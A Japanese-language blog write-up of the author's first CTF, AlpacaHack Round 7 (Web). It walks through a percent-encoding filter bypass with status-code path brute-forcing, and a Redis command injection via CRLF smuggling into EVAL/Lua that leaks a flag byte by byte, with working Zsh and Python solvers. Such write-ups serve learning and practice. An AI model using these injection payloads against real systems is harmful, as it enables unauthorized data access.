AlpacaHack Round 7 (Web) に参加しました。えびちゃん的には初めての CTF のコンテストです。

自分語り
シェルスクリプトでごにょごにょやったり、インジェクションのことを考えたりするのは好きなので、うまいことハマれば CTF は好きそうなのかな?というふんわりした気持ちは何年か前からあったのですが、常設の CTF サイトのよさそうなものがわからなかったり、始め方がいまいちわからなかったりでなんとなく敬遠していました。 AlpacaHack には半月くらい前に登録して、Challenge Archive から(Welcome を除いて、)Web を 2 つ、Pwn を 5 つ、Rev と Crypto を 1 つずつ解きました。
元々(競プロをする前から)バイナリファイルを読むの自体はやっていて、そういう部分とはある程度仲よしだったと思います。お友だちコマンドは hexdump -C です。
最近は、OpenSSL の証明書や秘密鍵のファイル(PEM や DER 形式のやつ)を読んで楽しんでいました。
というか、それを読みながら「RSA 用の鍵ってこういう風にエンコードされてるのね〜」「そういえば、CTF だと RSA 関連の問題が出るんだったよね〜」と思って、「AlpacaHack っていうのが最近話題になってたし、始めてみようかね〜」となったのが始めた経緯でした。
Crypto に関しては、競プロで慣れているような群の話もありつつ、ワードサイズには収まらない値が当然だったりして前提が結構違うなという気持ちがあります。 まだまだ知らないアルゴリズムがたくさんあるんだな〜というところです。たとえば LLL というのはなんですか(名前だけは無限回聞いている)。
今回のコンテストの話
シェルの出力は、#> から始まる行で示し、出力の省略は #: で示します。
Treasure Hunt
まず web/Dockerfile を読みます。FLAG_PATH は(MD5 ハッシュに基づく)深い階層のパスっぽいので、とりあえずローカルで見てみます。
% docker exec -it treasure-hunt-treasure-hunt-1 bash I have no name!@b557aca14e98:/app$ ls -R #: #> ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x: #> t #: I have no name!@b557aca14e98:/app$ cat ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t #> Alpaca{REDACTED}
というわけで http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t にアクセスできればいいんですが、/[flag]/ にマッチするとだめらしいので考えます。URL が case-insensitive だったらうれしいなと思って http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/A/c/2/8/9/1/F/L/A/G/t/x/t としてみましたがだめらしいので、もうちょっと考えます。
% curl http://localhost:3000/drum #> 🥁 % curl http://localhost:3000/dru%6d #> 🥁
curl だと %-encode しても意図したものが返ってきてくれていそうです。これを decode しているのが curl 側なのかサーバ側(の判定箇所以降)なのかがこの段階では(事前知識なしでは)判断できないですが、とりあえず後者だったらうれしいので後者だとして進めます。
% curl http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/%61/c/2/8/9/1/%66/%6c/%61/%67/t/x/t #> Alpaca{REDACTED}
あ〜〜。ということで、あとは実際のサーバにおけるパスを特定する方法を考えます。
とりあえず、存在することを知っているディレクトリとして /3 があるので、そこにアクセスしてみます。
% curl -i http://localhost:3000/3 #> HTTP/1.1 301 Moved Permanently #: #> Location: /3/ #: % curl -i http://localhost:3000/4 #> HTTP/1.1 404 Not Found #:
あ〜。ステータスコードで判断できそうですね。
Python で requests.get(url, allow_redirects=False).ok をしようとしましたが、%-encode まわりが期待通りにいってくれないようだったので、ソルバは Zsh で書きました。
BASE_URL=http://34.170.146.252:19843 escape() { echo ${${${${1//f/%66}//l/%6c}//a/%61}//g/%67} } query() { echo "GET $1" local target_path=$(escape $1) response=$(curl -sw '%{http_code}\n' -o /dev/null "$BASE_URL$target_path") [[ $response != 404 ]] } target_path= for _ in {1..32}; do for x in {0..9} {a..f}; do if query "$target_path/$x"; then target_path+=/$x break fi done done echo $target_path curl ${BASE_URL}$(escape "$target_path/f/l/a/g/t/x/t")
% zsh solve.zsh #: #> GET /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/* #> /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/* #> Alpaca{*************************}
Alpaca Poll
各ファイルを読んでいきます。
// no injection, please animal = animal.replace('\r', '').replace('\n', '');
const message = `INCR ${animal}\r\n`;
あからさまに「ここをやってください」と書いてくださっているので、ここを見ていきます。 Redis を使っているようなので、まずは(具体的なインジェクションのことは忘れて)Redis でどうしたら取得できるかを考えます。
% docker exec -it alpaca-poll-alpaca-poll-1 bash I have no name!@6439a1641d16:/app$ redis-cli 127.0.0.1:6379> incr dog #> (integer) 18 127.0.0.1:6379> incr dog #> (integer) 19 127.0.0.1:6379> get flag #> "Alpaca{REDACTED}"
Redis のコマンドはあまり知らないので、ドキュメントを読みます。なんらかのことをした結果の整数値が得られるので、「フラグの $i$ 文字目の ASCII としての値」みたいなのが得られるコマンドがあるとうれしいです。 EVAL や Scripting with Lua を見つけたので、もうどうにでもできそうです。
I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 1)' 1 flag #> (integer) 65 I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 2)' 1 flag #> (integer) 108
これにはえびちゃんもにっこりです。あとは、INCR ${animal} の部分でどう EVAL を実行するかを考えればよさそうです。
とりあえず、うまくいっているかをわかりやすく調べたいので、INCR dog を 2 回実行するようなことができるかを試してみます。
% curl http://localhost:3000/vote -d 'animal=dog;incr dog' #> {"error":"something wrong"}
とりあえず ; 区切りにしてみましたが、Redis はそういう感じの子ではないらしいです。
% curl http://localhost:3000/vote -d 'animal=do%0Ag' #> {"dog":24}
\n の消え方を試してみます。試行錯誤したり、とりあえずたくさん INCR したりして気分転換したりしました。
そういえば JavaScript での全置換って replaceAll ってだよね?と思って、あ〜となりました。
% curl http://localhost:3000/vote -d 'animal=do%0Ag' #> {"dog":327} % curl http://localhost:3000/vote -d 'animal=dog%0A%0Aincr dog' #> {"dog\nincr dog":328} % curl http://localhost:3000/vote -d 'animal=dog%0D%0D%0A%0Aincr dog' #> {"dog\r\nincr dog":330}
お? 2 つずつ増えていますね。キーがめちゃくちゃになっていますが、結局欲しいのは値の方なのでどうでもいいですね。
見た感じ、最初のコマンドの結果が返ってきてしまっていそうで、二つ目のコマンド(すなわち、インジェクションして EVAL したいやつ)の返り値を得るためにはもう少し考える必要がありそうです。とりあえず INCR の引数はなしにしてしまってエラー扱いにしたら、後者だけ返ってきてくれないですかね(おいのり)。
% curl http://localhost:3000/vote -d 'animal=%0A%0A eval '\''return string.byte(redis.call("GET", KEYS[1]), 1)'\'' 1 flag' #> {"\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), 1)' 1 flag":65}
あ〜〜たすかります。フラグは Alpaca{...} だと知っているので、A であるところの 65 が返ってきてくれてうれしいですね。
あとはそういうソルバを書けばいいですね。
import json import requests BASE_URL = "http://34.170.146.252:7782" def query(i): url = f"{BASE_URL}/vote" animal = f"\n\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), {i})' 1 flag" res = requests.post(url, data={"animal": animal}) resj = json.loads(res.text.encode()) return ("error" not in resj) and chr([*resj.values()][0]) for i in range(1, 200): r = query(i) if not r: break print(r, end="") print()
% python solve.py
#> Alpaca{******************}
minimal-waf・disconnection
うむむうわからないですね。
こういう Admin Bot みたいなのって汎用グッズ(?)みたいなやつなんですか? Challenge Archive のところでも見かけた記憶があります。
% curl 'http://localhost:3000/view?html=script' #> XSS Detected: script % curl 'http://localhost:3000/view?html=script' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Dest: x' #> script % curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "https://example.com"}' #> OK % curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "http://34.170.146.252:26860/"}' #> OK
ふーむ? うーん......?
bot/bot.js の url には好きなことを書けそうなので、そこになんかするんですか?
await page.goto(url, { timeout: 5_000 });
結局やることがいまいちよくわからずで、前日あまり寝られてないのもあり、そのまま寝てしまいました。 そもそもの定番としての知識みたいな部分が欠けてそうな気がします。
コンテスト後
起きました。寝る前は 7 位だったのですが、起きたら 8 位になっていました。 十分よい順位なのではないでしょうか。えびちゃんは(競プロでも)競技パートにはあまり興味がないのですが、とはいえ (小さめの整数)/(大きめの整数) を見るとうれしい気持ちになってしまいます。
一旦寝てから参加するか迷っていたのですが、2 完早解きでのよい順位だったので、がんばって参加しておいてよかったなと思いました。
ABC にも参加しましたが、20 分くらい遅刻したので微妙な感じでした(遅刻を抜きにしても、もっと早く解けという感じの出来ではありました)。
write-up を書くと非常に歓迎してもらえるらしいので書きました。
歓迎されます 非常に
— keymoon (@kymn_) November 30, 2024
おしゃべり
いろいろとまだまだ知らないことが多いので、お勉強していきたいな〜という気持ちです。
最初のうちは、他に人の write-up とかを(ネタバレはある程度避けつつも、それなりには覚悟して)ばーっと読んでいって吸収していくのがいいのかな?と思ったりしています。たとえば下記を読んだりしました(後者はまだ前半しか読んでないです)。
これらもちゃんと読みたいです。
radareorg/radare2 とか pwntools とかを触ったりしていますが、まだちゃんと使いこなせていないというか、うれしさを活かしきれていない感じがありますね。
楕円曲線とか、格子関連のなにか(???)とか、Pollard の $\rho$ 法や $p-1$ 法など、仲よしになりたいトピックはいろいろありますが、焦らずゆっくりやっていきましょうかねえというところです。CTF 以外にもやりたいお勉強はたくさんあって、エルフか忍者になりたい気持ちが強まります。
とりあえずは、競プロでいうところの「とりあえず愚直に書いたときの計算量を考える」「定番の高速化手法を知る(累積和とか座圧とか)」「こういう類のものは DP・にぶたん・etc.」くらいのレベルの、基礎的な感覚を養いたいなという気持ちがあります。
おわり
おわりです。